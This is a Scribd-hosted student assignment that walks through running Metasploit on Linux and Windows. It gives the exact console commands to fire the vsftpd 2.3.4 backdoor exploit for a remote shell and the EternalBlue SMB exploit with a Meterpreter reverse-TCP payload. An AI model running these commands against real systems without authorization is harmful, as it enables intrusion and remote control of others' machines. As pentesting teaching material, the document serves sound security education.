Scribd
Upload
4 views3 pages

Pentesting Assignment Metasploit

The document provides a guide on using Metasploit for penetration testing on both Linux and Windows systems. It outlines the steps to start the framework, search for exploits, set target parameters, and execute the exploits, highlighting the benefits of using Metasploit such as its large database of exploits and support for advanced payloads. Ultimately, it emphasizes Metasploit's role in identifying vulnerabilities and improving cybersecurity defenses.

Uploaded by

upliftmeofficial
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
4 views3 pages

Pentesting Assignment Metasploit

The document provides a guide on using Metasploit for penetration testing on both Linux and Windows systems. It outlines the steps to start the framework, search for exploits, set target parameters, and execute the exploits, highlighting the benefits of using Metasploit such as its large database of exploits and support for advanced payloads. Ultimately, it emphasizes Metasploit's role in identifying vulnerabilities and improving cybersecurity defenses.

Uploaded by

upliftmeofficial
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

Assignment: Pentesting

1) How to use Metasploit on Linux for Penetration Testing

Metasploit is one of the most powerful penetration testing frameworks used by security
professionals to identify vulnerabilities in systems, networks, and applications. It
provides exploits, payloads, and auxiliary modules that help testers simulate real cyber-
attacks in a controlled environment.

Metasploit is commonly used on Kali Linux, which already comes with the framework
pre-installed.

Step 1: Start Metasploit Framework

Open the terminal in Kali Linux and start Metasploit using the command:

msfconsole

Step 2: Search for an Exploit

Metasploit contains thousands of exploits. You can search for a vulnerability using:

search vsftpd

Example exploit: exploit/unix/ftp/vsftpd_234_backdoor

Step 3: Select the Exploit

use exploit/unix/ftp/vsftpd_234_backdoor

Step 4: Set Target Parameters

set RHOSTS [Link]

show options

Step 5: Execute the Exploit

exploit

If the vulnerability exists, Metasploit opens a remote shell session on the target system.

Example Scenario
A penetration tester scans a vulnerable machine using Nmap and finds an outdated FTP
service. Using Metasploit, the tester loads the vsftpd exploit, sets the target IP, and runs
the exploit to check if the system is vulnerable.

Benefits of Using Metasploit on Linux

- Pre-installed in Kali Linux

- Large database of exploits

- Useful for vulnerability validation

- Widely used in professional penetration testing.

2) How to use Metasploit on Windows for Penetration Testing

Metasploit can also be used on Windows systems. It is usually installed through the
Metasploit Framework installer by Rapid7.

Step 1: Install Metasploit Framework

Download Metasploit from the official Rapid7 website and install it.

Run: msfconsole

Step 2: Search for a Vulnerability

search windows smb

Example exploit: exploit/windows/smb/ms17_010_eternalblue

Step 3: Use the Exploit Module

use exploit/windows/smb/ms17_010_eternalblue

Step 4: Configure Target Settings

set RHOSTS [Link]

set payload windows/x64/meterpreter/reverse_tcp

set LHOST [Link]

show options

Step 5: Run the Exploit

exploit
If successful, a Meterpreter session will be opened which allows the tester to interact with
the target system.

Advantages of Metasploit on Windows

- Supports advanced payloads like Meterpreter

- Helps identify Windows vulnerabilities

- Useful for security testing and vulnerability assessment

Conclusion

Metasploit is a powerful penetration testing framework that helps security professionals


simulate attacks and identify vulnerabilities. It can be used on both Linux and Windows
systems to test security weaknesses and improve cybersecurity defenses.

You might also like